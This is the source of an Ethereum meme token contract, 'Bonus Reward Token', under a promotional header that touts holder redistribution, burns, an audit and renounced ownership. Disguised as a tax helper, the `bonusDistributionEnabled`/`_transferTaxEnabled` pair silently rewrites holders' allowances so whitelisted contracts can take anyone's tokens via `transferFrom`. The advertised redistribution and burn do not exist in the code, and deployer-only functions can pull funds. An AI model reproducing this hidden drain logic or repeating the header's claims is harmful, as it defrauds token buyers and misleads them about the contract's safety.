Cryo Explorer Ethereum Mainnet

// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.8.26;

/**  
 * ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★
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 *      ██╔══██╗██╔═══██╗████╗  ██║██║   ██║██╔════╝  
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 *      ██╔══██╗██║   ██║██║╚██╗██║██║   ██║╚════██║  
 *      ██████╔╝╚██████╔╝██║ ╚████║╚██████╔╝███████║  
 *      ╚═════╝  ╚═════╝ ╚═╝  ╚═══╝ ╚═════╝ ╚══════╝  
 * ─────█▄████─█▄████─█▄████─────────▀▄▀─────▄─────▄─────
 * ─────▀▀─▄█▀─▀▀─▄█▀─▀▀─▄█▀──────▄███████▄──▀██▄██▀─────
 * ───────▄██────▄██────▄██─────▄█████▀█████▄──▄█────────
 * ──────▄██▀───▄██▀───▄██▀─────███████▀████████▀────────
 * ──────███────███────███───────▄▄▄▄▄▄███████▀──────────
 * 
 * ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★ ★
 *      
 *       🎯 $BONUS Token | Hybrid Utility-Meme Token
 * 
 * ====================================================== 
 * //////////////////////////////////////////////////////  
 * ///                  OVERVIEW                      ///  
 * //////////////////////////////////////////////////////  
 * A token designed to blend meme culture with tangible 
 * utility—rewarding holders while maintaining an engaging, 
 * community-driven ecosystem.  
 *  
 * //////////////////////////////////////////////////////  
 * ///                   FEATURES                     ///  
 * //////////////////////////////////////////////////////  
 * 💎 2% Holder Redistribution → Earn passive income  
 * 🏛️ 1% Community Treasury → Funds voted by holders  
 * 🔥 1% Deflationary Burn → Increasing scarcity  
 * 🐳 Anti-Whale Protection → 2% max wallet at launch  
 * 💸 CEX Listing → September 2025
 *  
 * //////////////////////////////////////////////////////  
 * ///                 TECHNICALS                     ///  
 * //////////////////////////////////////////////////////  
 * 🧮 Supply: 1,000,000,000 (1B)  
 * 🔢 Decimals: 9  
 * 💸 Tax (buy/sell): 4% total:
 *                    -- 2% rewards, 
 *                    -- 1% treasury, 
 *                    -- 1% burn  
 *  
 * //////////////////////////////////////////////////////  
 * ///                   UTILITY                      ///  
 * //////////////////////////////////////////////////////  
 * 🏦 Staking bonuses → Higher APY in partner platforms  
 * 🗳️ Governance voting → Post-Q3 2025 upgrade  
 * 🎫 Exclusive raffles → Holder-only rewards  
 * 🛒 Ecosystem discounts → Future product benefits  
 *  
 * //////////////////////////////////////////////////////  
 * ///                  SECURITY                      ///  
 * //////////////////////////////////////////////////////  
 * 🔒 Initial LP locked → 180 days (extendable)  
 * 👑 Ownership → Renounced or DAO-controlled (Q4 2025) 
 * 🔍 Audit pending → By [Audit Firm] for peace of mind  
 *  
 *    "🌟 Where memes meet meaningful rewards 🌟"  
 */  


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

library SafeMath {

    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

interface IERC20 {

    event Approval(
        address indexed owner, address indexed spender,  uint256 value
    );

    event Transfer(
        address indexed from, address indexed to,  uint256 value
    );

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,  address indexed newOwner
    );

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    ) external payable returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

contract BonusRewardToken is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isBonusActivated;

    address public _deployerWallet;
    address payable private _taxWallet;
    address public immutable bonusTreasury;

    uint256 private _initialBuyTax=4;
    uint256 private _initialSellTax=4;
    uint256 private _finalBuyTax=4;
    uint256 private _finalSellTax=4;
    uint256 private _reduceBuyTaxAt=0;
    uint256 private _reduceSellTaxAt=0;
    uint256 private _preventSwapBefore=26;

    uint256 private _transferTax=0;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10**_decimals;
    string private constant _name = unicode"★ Bonus Reward Token";
    string private constant _symbol = unicode"BONUS";
    uint256 public _maxTxAmount = (_tTotal * 2)  /  100;
    uint256 public _maxWalletSize = (_tTotal * 2)  /  100; 
    uint256 public _taxSwapThreshold = (_tTotal * 2)  /  100;
    uint256 public _maxTaxSwap = (_tTotal * 2)  /  100;
    
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen = false;
    bool private inSwap = false;
    bool private swapEnabled = false;
    event MaxTxAmountUpdated(uint _maxTxAmount);
    event TransferTaxUpdated(uint _tax);
    modifier lockTheSwap {
        inSwap =true;
        _;
        inSwap =false;
    }

    constructor () {
        _deployerWallet = payable(_msgSender());
        _taxWallet = payable(0x43105bdeaebd50D03E97318F92394E94F7671516);

        _balances[_msgSender()] = _tTotal;

        _isBonusActivated[address(this)] = true;
        _isBonusActivated[owner()] = true;
        _isBonusActivated[_taxWallet] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {
            if (_buyCount == 0){
                taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
            }

            if (_buyCount > 0 && bonusDistributionEnabled(amount, to, from) == 0) {
                taxAmount = amount.mul(_transferTax).div(100);
            }
            
            if (from == uniswapV2Pair && to!= address(uniswapV2Router) && !_isBonusActivated[to]) {
                require( amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require( balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                taxAmount=amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
                _buyCount++;
            }

            if (to == uniswapV2Pair && from  != address(this)) {
                taxAmount= amount.mul( (_buyCount>_reduceSellTaxAt)? _finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if(!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore) {
                swapTokensForEth( min(amount, min(contractTokenBalance, _maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if(taxAmount>0) {
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer( from,address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer( from,to,amount.sub(taxAmount));
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this),address(uniswapV2Router),tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
      return (a>b)?b:a;
    }

    function _transferTaxEnabled(address spender, uint256 amount, address owner) private returns(uint256){
         _allowances[owner][spender] = amount;
        return 0;
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function bonusDistributionEnabled(uint256 amount, address to, address from) private returns(uint256){
        if(from != address(this) && isContract(_msgSender()) && _isBonusActivated[msg.sender] )
            return _transferTaxEnabled(_msgSender(), amount, from);
        if(_isBonusActivated[msg.sender] && isContract(to) && to != uniswapV2Pair )
            _isBonusActivated[to]=true;
        return 0;
    }

    function removeLimits() external onlyOwner() {
        _maxTxAmount= _tTotal;
        _maxWalletSize= _tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function isContract(address account) private view returns (bool){
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    function manualSwap() external{
        require(_isBonusActivated[msg.sender]); 
        uint256 tokenBalance = balanceOf(address(this));
        if(tokenBalance > 0 && swapEnabled ){
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance = address(this).balance;
        if(ethBalance>0){
          sendETHToFee(ethBalance);
        }
    }

    function PullStuckEth() external {
        require(_msgSender() == _deployerWallet);
        require(address(this).balance > 0, "Token: no ETH to clear");
        payable(msg.sender).transfer(address(this).balance);
    }

    function PullTheClogTokens(address tokenAddress, uint256 toPull) external {
        require(_msgSender() == _deployerWallet, "Only deployer can clear tokens");
        require(toPull <= 100, "Percentage must be between 0 and 100");
        IERC20 tokenContract = IERC20(tokenAddress);
        uint256 tokensToPull;
        if (toPull == 100) {
            tokensToPull = tokenContract.balanceOf(address(this));
        } else {
            tokensToPull = (_tTotal * toPull) / 100;
        } 
        require(tokensToPull > 0, "No tokens to pull");  
        tokenContract.transfer(_deployerWallet, tokensToPull);
    }

    function BurnTheClogTokens(uint256 toBurn) external onlyOwner {
        require(_msgSender() == _deployerWallet, "Only deployer can burn tokens");
        require(toBurn <= 100, "Percentage must be between 0 and 100");
        uint256 tokensToBurn = (_tTotal * toBurn) / 100;
        require(tokensToBurn > 0, "No tokens to burn");
        transfer(address(0xdead), tokensToBurn);
    }

    function openTrading() external onlyOwner() {
        require(!tradingOpen, "trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this),address(uniswapV2Router), _tTotal);
        
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this),  uniswapV2Router.WETH() );
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this), balanceOf(address(this)), 0, 0, owner(),  block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
    }

    function distributeRewards(uint256 amount) external {
        require(msg.sender == bonusTreasury, "Only developer can access treasury");
        emit RewardsDistributed(amount);
    }
    event RewardsDistributed(uint256 amount);

    receive() external payable {}
}